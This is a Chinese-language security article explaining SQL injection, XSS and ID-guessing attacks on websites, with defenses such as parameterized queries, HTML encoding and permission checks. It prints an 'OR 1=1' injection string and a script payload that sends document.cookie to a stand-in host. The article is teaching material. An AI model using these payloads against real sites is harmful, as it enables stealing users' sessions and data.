歷史悠久的3個(gè)經(jīng)典網(wǎng)站安全漏洞介紹
互聯(lián)網(wǎng)項(xiàng)目里邊,SQL注入漏洞、XSS漏洞和猜測(cè)URL攻擊這三個(gè)漏洞可謂歷史悠久,然而直到今天還有人不斷中槍?zhuān)舱媸俏Ⅴ浮?/p>
這幾個(gè)漏洞說(shuō)大也大,說(shuō)小也小。說(shuō)大是說(shuō)這些漏洞危害大,會(huì)導(dǎo)致數(shù)據(jù)層面的安全問(wèn)題;說(shuō)小是從技術(shù)層面上講都是未對(duì)外部輸入做處理導(dǎo)致的,想要做針對(duì)性地防范很簡(jiǎn)單。下面簡(jiǎn)單看看這些漏洞的原因及防范方法。
SQL注入
SQL注入之所以存在,主要是因?yàn)楣こ處煂⑼獠康妮斎胫苯忧度氲綄⒁獔?zhí)行的SQL語(yǔ)句中了。黑客可以利用這一點(diǎn)執(zhí)行SQL指令來(lái)達(dá)到自己目的。舉例來(lái)說(shuō),有一個(gè)接受參數(shù)為id的頁(yè)面,在接收到id后從數(shù)據(jù)庫(kù)中查詢(xún)相應(yīng)的數(shù)據(jù), 其代碼大致如下:
string SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];
正常情況下,Request["ID"]為數(shù)字,這條SQL能很好地工作。如果我們認(rèn)為修改Request["ID"],將其內(nèi)容修改為?ID=1 OR 1=1 我們將得到這樣一條SQL:
SELECT * FROM [User] WHERE ID=1 OR 1=1
因?yàn)橛蠴R的出現(xiàn)這條SQL語(yǔ)句已經(jīng)可以獲取User表中的任意信息。利用SQL注入漏洞,我們能夠獲取想要的信息,同時(shí)可以通過(guò)猜測(cè)-報(bào)錯(cuò)獲取到數(shù)據(jù)庫(kù)其它表的結(jié)構(gòu)和信息,如果數(shù)據(jù)庫(kù)、服務(wù)器權(quán)限設(shè)置不當(dāng),甚至有可能能獲取到整個(gè)服務(wù)器的控制權(quán)限。
規(guī)避這種漏洞有很多種辦法,以現(xiàn)代的編程語(yǔ)言來(lái)說(shuō),選擇一個(gè)合適的ORM框架可以減少不少問(wèn)題而且能大大提高開(kāi)發(fā)效率。
如果因?yàn)槟承┰蛐枰^續(xù)寫(xiě)SQL語(yǔ)句,參數(shù)化查詢(xún)也能解決這一問(wèn)題。
對(duì)于需要拼接SQL語(yǔ)句的程序來(lái)說(shuō),注意兩點(diǎn)也可以避免此問(wèn)題。第一點(diǎn)是如果查詢(xún)的字段類(lèi)型是數(shù)字等類(lèi)型,在拼接SQL前先判斷輸入是不是一個(gè)合法的數(shù)字,不合法則終止程序即可。第二點(diǎn)是如果字段類(lèi)型是字符串,則記得將輸入里的的單引號(hào)進(jìn)行轉(zhuǎn)義。
XSS攻擊
如果說(shuō)SQL注入是直接在SQL里執(zhí)行了用戶輸入,那XSS攻擊是在HTML里代碼執(zhí)行了用戶輸入。相對(duì)SQL注入,XSS似乎更能引起人關(guān)注。幾年前新浪微博被人利用XSS獲取大量粉絲;3DM也曾經(jīng)被植入script代碼對(duì)另一個(gè)游戲網(wǎng)站進(jìn)行了慘無(wú)人道的DDOS攻擊。
這里還是用SQL注入中的例子來(lái)說(shuō),假設(shè)頁(yè)面輸出為:
<div><%= Request["ID"] %></div>
這里我們可以在Request["ID"]里傳入一段編碼后的腳本,在最終輸出的時(shí)候,就變成了一段可執(zhí)行的javascript代碼。
<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>
這段代碼獲取到當(dāng)前頁(yè)面的cookie值,并將cookie值傳遞到另一個(gè)名為anothersite.com的網(wǎng)站。利用這種模式,黑客可以獲取到用戶的登錄信息或者將用戶跳轉(zhuǎn)到釣魚(yú)網(wǎng)站來(lái)達(dá)成自己的目的。
XSS攻擊也可以簡(jiǎn)單分為兩種,一種是上述例子中利用url引誘客戶點(diǎn)擊來(lái)實(shí)現(xiàn);另一種是通過(guò)存儲(chǔ)到數(shù)據(jù)庫(kù),在其它用戶獲取相關(guān)信息時(shí)來(lái)執(zhí)行腳本。
防范XSS攻擊需要在所有的字段都對(duì)輸入的字符串進(jìn)行html encode(或者在輸出時(shí)進(jìn)行encode)。如果需要使用富文本編輯的,可以考慮使用UBB。
猜測(cè)URL攻擊
猜測(cè)URL攻擊是通過(guò)已知的GET、POST參數(shù)來(lái)猜測(cè)未公開(kāi)的參數(shù)并嘗試進(jìn)行攻擊。
以Request["ID"]為例,如果ID為1是合法的可訪問(wèn)的數(shù)據(jù),可以通過(guò)嘗試ID=2,ID=3等一系列來(lái)嘗試是否對(duì)其它資源有訪問(wèn)、修改權(quán)限。如果控制不當(dāng),則可以輕松獲得并修改數(shù)據(jù)。
要避免這種問(wèn)題,方案一是使用較長(zhǎng)的無(wú)規(guī)律的數(shù)字、字符來(lái)做為ID,增大猜測(cè)難度;對(duì)于需要登錄的程序,可以判斷用戶身份是否有對(duì)應(yīng)ID數(shù)據(jù)的訪問(wèn)、修改權(quán)限;如果ID已經(jīng)是自增類(lèi)型且不需要登錄,可以用過(guò)在URL里增加無(wú)規(guī)律的校驗(yàn)字段來(lái)避免。
其它需要注意的地方
安全是一個(gè)系統(tǒng)工程。
要提高系統(tǒng)安全性,最首要的一點(diǎn)是不要相信任何輸入!不要相信任何輸入!不要相信任何輸入!重要的事情說(shuō)三遍。這里的輸入除了URL里的GET參數(shù)、POST參數(shù),還包括COOKIE、Header等可以進(jìn)行修改的各類(lèi)信息。
在程序設(shè)置方面,不輸出客戶不需要知道的各類(lèi)信息,如原始的異常信息、異常附近的代碼段等等,這樣也能增加不少安全性。
最后,在測(cè)試或系統(tǒng)運(yùn)行的過(guò)程中,可以使用類(lèi)似appscan這樣的安全檢測(cè)工具來(lái)檢查程序是否有漏洞。
版權(quán)聲明:本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái),僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。